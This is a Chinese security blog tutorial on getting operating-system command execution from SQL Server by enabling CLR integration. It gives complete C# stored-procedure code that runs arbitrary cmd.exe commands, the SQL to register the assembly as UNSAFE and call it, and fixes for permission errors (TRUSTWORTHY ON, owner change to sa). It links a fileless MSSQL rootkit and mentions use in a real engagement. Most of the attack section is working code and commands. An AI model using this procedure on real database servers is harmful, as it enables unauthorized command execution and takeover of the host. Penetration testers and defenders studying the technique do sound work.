SQLserver提权-CLR组件

  • Comments Off on SQLserver提权-CLR组件
  • 8 views
  • A+
所属分类:安全文章

一、CLR介绍

Microsoft SQL Server 2005之后,实现了对 Microsoft .NET Framework 的公共语言运行时(CLR)的集成。
CLR 集成使得现在可以使用 .NET Framework 语言编写代码,从而能够在 SQL Server 上运行,现在就可以通过 C# 来编写 SQL Server 自定义函数、存储过程、触发器等。
大概意思就是,利用CRL组件我们可以在SQ Server数据库上执行任意C#代码

二、利用前提

1、SQL Server上能启用CLR组件并可以创建自定义存储过程
2、SQL Server当前账号具有执行命令、代码所需要的权限

三、利用过程

当前环境:SQL Server2008、.NET Framework3.5、Visual Studio
1、配置SQL Server CLR
开启:

--开启所有服务器配置
sp_configure 'show advanced options', 1; 
RECONFIGURE WITH override 
GO 
--开启 CLR
sp_configure 'clr enabled', 1; 
RECONFIGURE WITH override 
GO

关闭:

--关闭所有服务器配置
sp_configure 'show advanced options', 0; 
RECONFIGURE WITH override 
GO 
--关闭 CLR
sp_configure 'clr enabled', 0; 
RECONFIGURE WITH override 
GO

SQLserver提权-CLR组件
2、CLR Function
打开Visual Studio新建SQL server项目
SQLserver提权-CLR组件
SQLserver提权-CLR组件
SQLserver提权-CLR组件
添加SQL CLR C# 存储过程
SQLserver提权-CLR组件
写入代码

using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using System.Diagnostics;
using System.Text;
using Microsoft.SqlServer.Server;

public partial class StoredProcedures
{
    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void ExecCommand (string cmd)
    {
        // 在此处放置代码
        SqlContext.Pipe.Send("Command is running, please wait.");
        SqlContext.Pipe.Send(RunCommand("cmd.exe", " /c " + cmd));
    }
    public static string RunCommand(string filename,string arguments)
    {
        var process = new Process();

        process.StartInfo.FileName = filename;
        if (!string.IsNullOrEmpty(arguments))
        {
            process.StartInfo.Arguments = arguments;
        }

        process.StartInfo.CreateNoWindow = true;
        process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
        process.StartInfo.UseShellExecute = false;

        process.StartInfo.RedirectStandardError = true;
        process.StartInfo.RedirectStandardOutput = true;
        var stdOutput = new StringBuilder();
        process.OutputDataReceived += (sender, args) => stdOutput.AppendLine(args.Data);
        string stdError = null;
        try
        {
            process.Start();
            process.BeginOutputReadLine();
            stdError = process.StandardError.ReadToEnd();
            process.WaitForExit();
        }
        catch (Exception e)
        {
            SqlContext.Pipe.Send(e.Message);
        }

        if (process.ExitCode == 0)
        {
            SqlContext.Pipe.Send(stdOutput.ToString());
        }
        else
        {
            var message = new StringBuilder();

            if (!string.IsNullOrEmpty(stdError))
            {
                message.AppendLine(stdError);
            }

            if (stdOutput.Length != 0)
            {
                message.AppendLine("Std output:");
                message.AppendLine(stdOutput.ToString());
            }
            SqlContext.Pipe.Send(filename + arguments + " finished with exit code = " + process.ExitCode + ": " + message);
        }
        return stdOutput.ToString();
    }
}

SQLserver提权-CLR组件
运行后
SQLserver提权-CLR组件
3、注册CLR程序集
注册程序集的方式有以下两种:
通过指定程序集DLL路径

CREATE ASSEMBLY UserDefinedClrAssembly 
--AUTHORIZATION sa        --指定数据库所有者,默认为当前用户
FROM 'C:UsersAdministratorDesktopCLR AssemblyUserDefinedSqlClr.dll'        --指定文件路径
WITH PERMISSION_SET = UNSAFE;        --指定程序集的权限

通过文件十六进制流

CREATE ASSEMBLY UserDefinedClrAssembly 
--AUTHORIZATION sa        --指定数据库所有者,默认为当前用户
FROM 0x4D5A90000300000004000000FFFF0000B8000000000000004000000000    --指定DLL的16进制文件流(当然没这么少,我删掉了)
WITH PERMISSION_SET = UNSAFE;        --指定程序集的权限

此处使用第二种方式,利用文件十六进制写入数据库运行
SQLserver提权-CLR组件
4、创建存储过程

CREATE PROCEDURE [dbo].[ExecCommand]
@cmd NVARCHAR (MAX)
AS EXTERNAL NAME [Database1].[StoredProcedures].[ExecCommand]
go

SQLserver提权-CLR组件
5、执行命令

exec dbo.ExecCommand "whoami";

SQLserver提权-CLR组件
实战也成功啦~~~
SQLserver提权-CLR组件

四、进阶用法

https://github.com/EPICROUTERSS/MSSQL-Fileless-Rootkit-WarSQLKit

五、踩坑总结

1、SQLserver版本对应的.NET Framework框架版本
SQLserver提权-CLR组件
本地测试使用的SQL Server2008数据库 对应的.NET Framework框架必须是3.0、3.5,否则生成的16进制程序集放入SQL语句中报错
2、程序集权限不足或提示使用sp_add_trusted_assembly 信任程序集
SQLserver提权-CLR组件
执行: ALTER DATABASE databasename SET TRUSTWORTHY ON
3、数据库所有者 SID 不同
SQLserver提权-CLR组件
执行:Sp_changedbowner 'sa',true

相关推荐: VulnHub-W1R3S: 1

靶机地址:https://www.vulnhub.com/entry/w1r3s-101,220/靶机难度:中级(CTF)靶机发布日期:2018年2月5日靶机描述:You have been hired to do a penetration test on …